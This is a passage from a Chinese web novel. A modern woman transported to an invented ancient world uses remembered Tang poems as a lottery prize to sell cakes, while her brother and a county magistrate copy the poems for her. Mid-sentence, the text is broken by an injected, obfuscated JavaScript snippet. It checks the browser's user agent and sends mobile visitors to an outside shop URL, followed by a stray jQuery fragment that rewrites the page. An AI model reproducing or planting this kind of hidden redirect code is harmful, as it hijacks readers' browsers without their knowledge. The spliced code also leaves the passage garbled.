“长风破浪会有时,直挂云帆济沧海……”
姜昀虽然是个现代人,好在初中时候学校开过几次毛笔书法课,她的字迹不说多好,起码是清晰可辨,裴时淮看着无意识呢喃出来。
“如此乐观豁达又豪情万丈的诗句,实在是令人震撼,昀妹妹,这又是你从何处所得?”
姜昀无语扶额,这是她打算当盲盒,随机掉落给买的多的顾客的。裴时淮看见了倒没什么,就是,能不能每次都追问哪来的啊?!
她一个现代人,对于这个架空时代的古人来说,她巨额知识来历不明啊……这可怎么说?
“让我瞧瞧。”
“小妹写的什么呀?我也看看!”
“哇塞!长风破浪会有时,直挂云帆济沧海!如此好诗!”
姜昀的饭菜对于常人口腹来说是震撼美味,唐宋那个群星闪耀的时代里留下来的文学瑰宝,对于读书人来说,亦是人间绝味。
“小妹,此诗是你写的吗?”
姜昀无奈苦笑,反问道:“大哥,你看我像是能写出这种水平诗句的人吗?”
姜鹤:“……”
当然不像,但是他不能说。
“你们真就这么想知道作诗的人是谁?”
“嗯嗯!”
裴时淮和姜鹤几乎是同步点头,裴时淮还神色激动道:“此人若是在世,我必然举荐他入翰林院!”
“那好吧,我告诉你们,其实这句和之前的那些名句,皆是我梦中所得,作诗之人皆已仙逝。”
姜鹤愕然:“梦中所得?”
“是。”姜昀露出些许落寞之色,“兴许是上天都觉得遗憾,所以让我代为记录,转达,让这些名言锦句流传下来。唉……”
唉,都是生活所迫。
她一个信奉唯物主义的现代人,竟然要编造鬼神之说来糊弄人了。
“此话当真?”
这番说辞实在有些扯淡,裴时淮都觉得难以置信。
“当真,不然,我如何能说出这些名句呢?”
姜昀一脸无辜,在座众人面面相觑。确实,姜昀的说辞非常离谱,但是也没有更合理的解释了,由不得他们不信。
姜鹤惊喜道:“莫非小妹是天选之人?她喜欢品鉴美食,便有了登峰造极的厨艺,咱们比赛作诗,她又能从梦中得绝世佳作!”
姜栩也道:“是啊!这样说起来,小妹真是要什么,老天就给什么。”
温氏不似他们这般兴奋,而是面带忧色,说道:“不可如此说!匹夫无罪怀璧其罪,你们妹妹只是本本分分做吃食,卖吃食,就惹来不少是非,若是说她要什么便有什么,外人听了怎么想?说句大不敬的,她想要当公主,咱们就能改朝换代了?”
“夫人说的是,诗词也好,厨艺也罢,于江山社稷有益无害,若说是天选之人,必然会出大乱子。”
封建皇权至高无上,皇帝会乐意见到自己的子民身怀大才,却绝对不会容许她被百姓承认是天命之人,拥有非凡之能。
否则的话,万一哪天冒出来个乱臣贼子,胁迫姜昀说他才是天命所归,民心必然动摇。
帝王绝不会允许这样的事情发生,姜昀会死无葬身之地的。
“不如就这样,咱们对外就说是小妹自幼喜欢美食,对于厨艺一道颇有天分,一日梦中见仙界诗人,为之做了盛宴,诗人们一高兴便饮酒吟诗,小妹因此得了些机缘。”
裴时淮听了姜鹤的提议,点点头道:“如此甚好,昀妹妹以为如何?”
“我也没意见。”
温氏拍板,“那就这么定下了,还请小裴和小林配合。”
“婶子放心,我二人自然会谨言慎行。”
“多谢。”
“好啦好啦,”姜昀轻拍桌板:“小裴,快点过来抄诗!不然明天休想吃上我的状元饼!”
“马上抄!”
裴时淮一屁股坐下,提笔就抄,姜鹤本就愧疚自己不事劳作,在家里头白吃白喝,难得有个帮小妹抄诗的机会,现在见裴时淮这个外人都如此积极,瞬间有了危机感。
他可是姜昀的亲大哥!绝对不能比裴时淮抄的少,抄的慢!
姜鹤提笔就写,速度比之前更快,字迹的质量稍微退步了一点点,但是效率高了许多。
裴时淮刚抄完两张,一抬眼发现姜鹤面前已经铺展开一片纸页。
男人的胜负欲莫名其妙就冒出来了,裴时淮也加快速度抄写《登科后》。
姜昀看了眼这俩干劲满满的核动力驴,慢悠悠写着《行路难》的那句诗,嘴角的弧度怎么也压不下去。
花钱雇来的实习生粗心大意,重金聘请的助理还会把她的事情透露给同行主播,但是家里人还有裴时淮和林枫,不仅是免费劳动力,而且是相当高效的免费劳动力。
最重要的是,他们不会卖队友,更不会卖老板。
现代有句话叫做“资本家听了都落泪”,但是此时此刻,作为资本家的姜老板,见此情状,绝不至于痛心落泪,只想仰天狂笑。
哈!哈!哈!
写了二十几遍“长风破浪会有时,直挂云帆济沧海”,姜昀等墨迹干了就把这些纸一张张叠起来,折成小块,放入麻布口袋之中,再用空白的纸叠了几十块,同样放进去,摇晃均匀。
《登科后》写的差不多了,姜昀有拿了张半人高的大宣纸铺展开,让姜鹤在上面写买十张状元饼可得一次抽奖机会,幸运的话即可抽中新的诗句。
“你只给了一句,想必日后还能像《登科后》这样操作,顾客必须二次购买才能得到完整的诗句。”
“不错,我目前是这么打算的。”
林枫忍不住感叹:“天嘞,姜姑娘你真是营销鬼才啊!”
姜昀微微一笑:“这话说的太早了,日后我还有更多新的法子呢。”
常言道酒香不怕巷子深,可是,现实往往是酒香也怕巷子深。
不然的话,为什么各行各业要请明星代言做广告?
要想把生意做好,就得把噱头搞起来,先博人眼球,引来新的客户,再想用她的好手艺把人留住,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738646|201983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发展成忠实顾客,生意就能细水长流地做起来。
“完整的诗,可否给我一份,让我鉴赏一番?”裴时淮对着姜昀眨眨眼睛。
姜鹤也少有地对着姜昀露出了渴望的眼神:“小妹,我也想……”
“就知道你俩会这么说。”姜昀轻笑着,转身拿来两张写满了字的纸,“喏,一首《行路难》,二位客官请收好,喜欢的话,下次再来光顾小店的生意哦~”
“好嘞!多谢昀妹妹!”
“多谢小妹。”
姜昀劳神在在地摆摆手,“大恩不言谢,帮我干活的时候多卖力气就行啦。”
裴时淮觉着好笑:“姜老板,人家发工钱都是如假包换的银子铜板,你拿两张纸就给我们糊弄过去了,算不算是无本万利?”
林枫:“……”
你好歹有张纸呢!
我连张纸都没有!这才是真正的无本万利!
姜昀反问道:“你个青天大老爷上苦主家吃吃喝喝,算不算滥用职权?”
裴时淮挑眉,卖乖道:“能为姜老板效劳,是在下的荣幸,自然不敢托大要工钱。”
“哎对咯!”姜昀用力拍了拍裴时淮的肩膀:“父母官就该是这样的,为百姓服务嘛,要什么银钱?谈钱多伤感情啊是不是?”
不知道是跟裴时淮学的还是怎么的,姜昀发现自己脸皮也越来越厚了,对旁人能帮就帮一把,绝不亏待。对裴时淮却随便使唤,偶尔让他吃点亏,姜昀也就愧疚一下,然后继续心安理得坑他。
有一说一,裴时淮是真好使啊,要力气有力气,要文采有文采,要颜值有颜值,要地位有官位……
“昀娘,小裴毕竟是县令,不可如此无理。”姜父轻声训斥,他虽宠爱姜昀,但裴时淮毕竟手握权柄,他乐意让姜昀寻开心便也罢了,若是哪天跟他们家关系崩了,那就麻烦了。
姜昀扁扁嘴,裴时淮自然没有错过她的小表情,笑道:“无妨,昀妹妹这般率性可爱,甚是难得。”
“那你可真是太有眼光了,我也觉得我多才多艺,知识渊博,美貌无敌,简直就是天上地下仅此一个的宝藏女孩。”
裴时淮不懂什么叫“宝藏女孩”,也知道姜昀是在自夸,笑着点头表示赞同。
夜深了,诗也抄够了。
裴时淮带着林枫起身告辞,姜昀送他们。
到了墙边,裴时淮把林枫扔了过去,转身对姜昀道:“如今我已正式上任,有个好消息要告诉你。”
姜昀被勾起了好奇心:“什么好消息啊?”
“明日吃到了状元饼,我再告诉你。”
姜昀眼睛里的光瞬间熄灭,面无表情地盯着他,什么也不说。
裴时淮无奈耸肩:“好吧,这就告诉你。先前孔县令跟码头的把头打了招呼,码头只许她堂妹摆摊卖吃食,却不许你进入。这事儿不对,我来了,自然是要改的。把头也是不敢得罪上官,算不上大错,我把他训斥了一顿。往后,你可以随时去码头内摆摊卖吃食,而且——”
“而且什么?”